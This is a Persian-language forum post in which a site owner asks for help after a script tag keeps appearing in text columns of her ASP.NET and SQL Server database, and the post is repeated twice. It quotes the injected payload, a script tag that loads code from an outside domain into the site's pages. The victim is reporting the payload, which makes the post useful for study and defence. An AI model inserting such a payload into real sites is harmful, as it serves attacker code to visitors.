zibaaa
سه شنبه 19 مهر 1390, 22:17 عصر
سلام و خسته نباشید.
مشکلی برای سایت من بوجود اومده و اون اینکه هر چند روز یکبار ، به یکی از ستون های برخی از جدول های دیتایس من اسکریپت عجیبی insert میشه. این اسکریپت به انتهای متن موجود در دیتابیس اضافه میشه.اسکریپتش هم اینه:
</title><script src=http://jjghui.com/urchin.js ></script>
اون جدول هایی از دیتابیس که دچار این مشکل میشن ستونی دارند به اسم Comm (که توضیحات رو ذخیره میکنه) و نوعش هم nvarchar(4000)
یا nvarchar(2000) است. و فقط این ستونه که دچار این مشکل میشه و اسکریپت واردش میشه. حدسم اینه که کسی به قصد آزار داره از طریق یکی از روشهای هک کردن این کارو انجام میده ولی من چیز زیادی از هک کردن و راه جلوگیری ازش نمیدونم. سایتم Asp.net هست و دیتابیسم sqlserver.
برای login کاربران و صفحاتی که از سمت کاربران عمل درج اطلاعات و اصلاح اطلاعات( insert و update ) انجام میشه از Stored Procedure استفاده کردم به همراه کد امنیتی (Capcha)
ممنون میشم اگه راهنماییم کنین برای جلوگیری از این مشکل چه کار میتونم بکنم.
مشکلی برای سایت من بوجود اومده و اون اینکه هر چند روز یکبار ، به یکی از ستون های برخی از جدول های دیتایس من اسکریپت عجیبی insert میشه. این اسکریپت به انتهای متن موجود در دیتابیس اضافه میشه.اسکریپتش هم اینه:
</title><script src=http://jjghui.com/urchin.js ></script>
اون جدول هایی از دیتابیس که دچار این مشکل میشن ستونی دارند به اسم Comm (که توضیحات رو ذخیره میکنه) و نوعش هم nvarchar(4000)
یا nvarchar(2000) است. و فقط این ستونه که دچار این مشکل میشه و اسکریپت واردش میشه. حدسم اینه که کسی به قصد آزار داره از طریق یکی از روشهای هک کردن این کارو انجام میده ولی من چیز زیادی از هک کردن و راه جلوگیری ازش نمیدونم. سایتم Asp.net هست و دیتابیسم sqlserver.
برای login کاربران و صفحاتی که از سمت کاربران عمل درج اطلاعات و اصلاح اطلاعات( insert و update ) انجام میشه از Stored Procedure استفاده کردم به همراه کد امنیتی (Capcha)
ممنون میشم اگه راهنماییم کنین برای جلوگیری از این مشکل چه کار میتونم بکنم.